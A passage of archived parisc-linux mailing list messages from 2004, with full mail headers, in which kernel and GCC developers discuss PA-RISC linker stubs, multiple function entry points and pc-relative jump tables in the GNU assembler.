List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22024

> On Tue, Sep 21, 2004 at 10:22:45AM -0700, Randolph Chung wrote:
> > but 10100158 is lstrncpy_from_user, not $lsfu_exit:
> > 10100158 <lstrncpy_from_user>
> > 10100190 <$lsfu_exit>
> > 
> > i wonder if the sections are somehow confusing things.... this is with
> > fairly recent gcc/binutils toolchains, for 32-bit.
> 
> Multiple entry points to a function may not work if an import stub is
> required? The import stubs are thrown into a hash, and it probably
> thinks it's okay for you to use the same import stub. You on the other
> want a second entry point.
> 
> I recommend you give the exit it's own symbol, .export and .import the
> linker thinks it's two different functions?

Good catch!  I've hit this problem before but under HP-UX.  GAS doesn't
support the alternate entry point fixup needed to support multiple
entry points to a function.  I don't think anyone has tried to support
this with the ELF tools.  There could be some nasty interactions with
the HP unwind data when you start adding multiple entry points to a
function.

I haven't looked at this in detail but possibly you can change the
fixup table to contain pc-relative offsets.  I looked at this
when I reworked the casesi pattern in GCC a few months ago.  This
makes the table smaller and in many cases the number of instructions
is less than that with branches in the table (particularly for the
PIC case).  I ended up putting the table in the same section as the
text since in that case the offsets were absolute.  However, I did
look at putting the offsets in readonly data.  This is where I came
up with the method to create 32 and 64-bit pc-relative offsets.  It
takes a couple of extra instructions to load the address of a table
that's in a different section.  As a side, I believe that only 32-bit
offsets are needed in the 64-bit runtime.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 16:06:26 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200409212006.i8LK6RW3010541@hiauly1.hia.nrc.ca>
References: <20040921194939.GT22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623568 11160 80.91.229.3 (22 Nov 2014 02:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10404 invoked by uid 65534); 21 Sep 2004 20:07:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 21 Sep 2004 22:07:00 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 612213BE28; Tue, 21 Sep 2004 14:06:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28315-09; Tue, 21 Sep 2004 14:06:53 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D49E63BE23; Tue, 21 Sep 2004 14:06:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 849623BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:06:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28315-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:06:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 20CF33BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:06:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8LK6RcP010544; Tue, 21 Sep 2004 16:06:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8LK6RW3010541;
	Tue, 21 Sep 2004 16:06:27 -0400 (EDT)
In-Reply-To: <20040921194939.GT22642@tausq.org> from "Randolph Chung" at Sep
	21, 2004 03:49:39 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22025

> > I haven't looked at this in detail but possibly you can change the
> > fixup table to contain pc-relative offsets.  I looked at this
> > when I reworked the casesi pattern in GCC a few months ago.  This
> > makes the table smaller and in many cases the number of instructions
> > is less than that with branches in the table (particularly for the
> > PIC case).  
> 
> well, this is what we used to do, but we don't do this now because it
> requires us to be able to do a pc-relative calculation between code in
> two different sections (text and fixup), and GAS doesn't allow that
> either.

GAS does allow you to do it.  If you look in GCC, you will see that we
use the special assembler symbol $PIC_pcrel$0 to create pc-relative
relocations.  To create a jump table with 32-bit pc-relative relocations,
you would do something like this:

L$0:
	.word L$1+(.+8-L$0)-$PIC_pcrel$0
	.word L$2+(.+8-L$0)-$PIC_pcrel$0
	...

The assembler is sensitive to the ordering of the terms in the expression.

Basically, $PIC_pcrel$0 == .+8 in each expression, so you are just left
with the difference of labels in the final evaluation.  Note that (.+8-L$0)
evaluates to an absolute constant.  Thus, the first two terms are just a
symbol plus a constant addend.  GAS will allow that.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 16:20:26 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200409212020.i8LKKQtS010621@hiauly1.hia.nrc.ca>
References: <20040921194939.GT22642@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623568 11162 80.91.229.3 (22 Nov 2014 02:32:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30361 invoked by uid 65534); 21 Sep 2004 20:20:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 21 Sep 2004 22:20:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 502A83BE23; Tue, 21 Sep 2004 14:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28642-02; Tue, 21 Sep 2004 14:20:44 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7D0C33BE25; Tue, 21 Sep 2004 14:20:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1331C3BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:20:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28501-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:20:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 86DE63BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:20:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8LKKQcP010622; Tue, 21 Sep 2004 16:20:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8LKKQtS010621;
	Tue, 21 Sep 2004 16:20:26 -0400 (EDT)
In-Reply-To: <20040921194939.GT22642@tausq.org> from "Randolph Chung" at Sep
	21, 2004 03:49:39 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22026

> for now i'm using the solution we are using for 64-bit code, which is to
> use a manually created long-branch stub (ldil/ldo/bv). since this is 
> anyway in a slow-path the performance hit is probably negligible.

As I suggested before, you can shorten (ldil/ldo/bv) to (ldil/be) if
if you know which space register to use in the be (in user space, %sr4
will always work since the address space is flat).

The linker doesn't insert stubs for the (ldil/be) sequence although
possibly it should.

The code sequence to handle 32-bit pc-relative offsets is going to
be longer than either of the above two sequences.  So, possibly you
would only want to go this route if the table is large.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 13:36:51 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040921203651.GU22642@tausq.org>
References: <20040921194939.GT22642@tausq.org>
	<200409212020.i8LKKQtS010621@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623569 11164 80.91.229.3 (22 Nov 2014 02:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14086 invoked by uid 65534); 21 Sep 2004 20:37:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 21 Sep 2004 22:37:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 788F13BE2F; Tue, 21 Sep 2004 14:37:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28501-10; Tue, 21 Sep 2004 14:37:01 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 930B33BE25; Tue, 21 Sep 2004 14:36:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77C0F3BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:36:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28501-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:36:46 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 10CFC3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 14:36:46 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 646D5CD29F; Tue, 21 Sep 2004 13:36:51 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409212020.i8LKKQtS010621@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22027

> As I suggested before, you can shorten (ldil/ldo/bv) to (ldil/be) if
> if you know which space register to use in the be (in user space, %sr4
> will always work since the address space is flat).

erm, yes, you did say that, and i forgot. i will change it.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 18:04:59 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20040921220458.GH13248@baldric.uwo.ca>
References: <20040921174353.GB13248@baldric.uwo.ca>
	<200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623569 11167 80.91.229.3 (22 Nov 2014 02:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4905 invoked by uid 65534); 21 Sep 2004 22:05:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 22 Sep 2004 00:05:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF0EB3BE25; Tue, 21 Sep 2004 16:05:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29328-04; Tue, 21 Sep 2004 16:05:27 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 171B33BE1C; Tue, 21 Sep 2004 16:05:15 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 520663BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:05:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29295-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:05:09 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 117AA3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 16:05:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C9skt-0004HD-00; Tue, 21 Sep 2004 18:04:59 -0400
Content-Disposition: inline
In-Reply-To: <200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (64% Sync Ratio [======....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22028

On Tue, Sep 21, 2004 at 02:51:29PM -0400, John David Anglin wrote:
> > On Tue, Sep 21, 2004 at 10:22:45AM -0700, Randolph Chung wrote:
> > > but 10100158 is lstrncpy_from_user, not $lsfu_exit:
> > > 10100158 <lstrncpy_from_user>
> > > 10100190 <$lsfu_exit>
> > > 
> > > i wonder if the sections are somehow confusing things.... this is with
> > > fairly recent gcc/binutils toolchains, for 32-bit.
> > 
> > Multiple entry points to a function may not work if an import stub is
> > required? The import stubs are thrown into a hash, and it probably
> > thinks it's okay for you to use the same import stub. You on the other
> > want a second entry point.
> > 
> > I recommend you give the exit it's own symbol, .export and .import the
> > linker thinks it's two different functions?
> 
> Good catch!  I've hit this problem before but under HP-UX.  GAS doesn't
> support the alternate entry point fixup needed to support multiple
> entry points to a function.  I don't think anyone has tried to support
> this with the ELF tools.  There could be some nasty interactions with
> the HP unwind data when you start adding multiple entry points to a
> function.

I think you said we had similar problems with non-local goto's?

Either we had a conversation about multiple entry points, or I read it
in one of the HP documents :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] interesting linker behaviour :)
Date: Tue, 21 Sep 2004 12:49:39 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20040921194939.GT22642@tausq.org>
References: <20040921174353.GB13248@baldric.uwo.ca>
	<200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623569 11171 80.91.229.3 (22 Nov 2014 02:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22726 invoked by uid 65534); 21 Sep 2004 19:50:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 21 Sep 2004 21:50:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 342733BE22; Tue, 21 Sep 2004 13:50:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27395-09; Tue, 21 Sep 2004 13:50:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7DB2B3BE25; Tue, 21 Sep 2004 13:49:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41B9A3BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 13:49:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27366-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 13:49:45 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id A26243BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 21 Sep 2004 13:49:44 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 99406CD2D3; Tue, 21 Sep 2004 12:49:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409211851.i8LIpT1Z009455@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22029

> Good catch!  I've hit this problem before but under HP-UX.  GAS doesn't
> support the alternate entry point fixup needed to support multiple
> entry points to a function.  I don't think anyone has tried to support
> this with the ELF tools.  There could be some nasty interactions with
> the HP unwind data when you start adding multiple entry points to a
> function.

yeah, it will break unwinding :(

> I haven't looked at this in detail but possibly you can change the
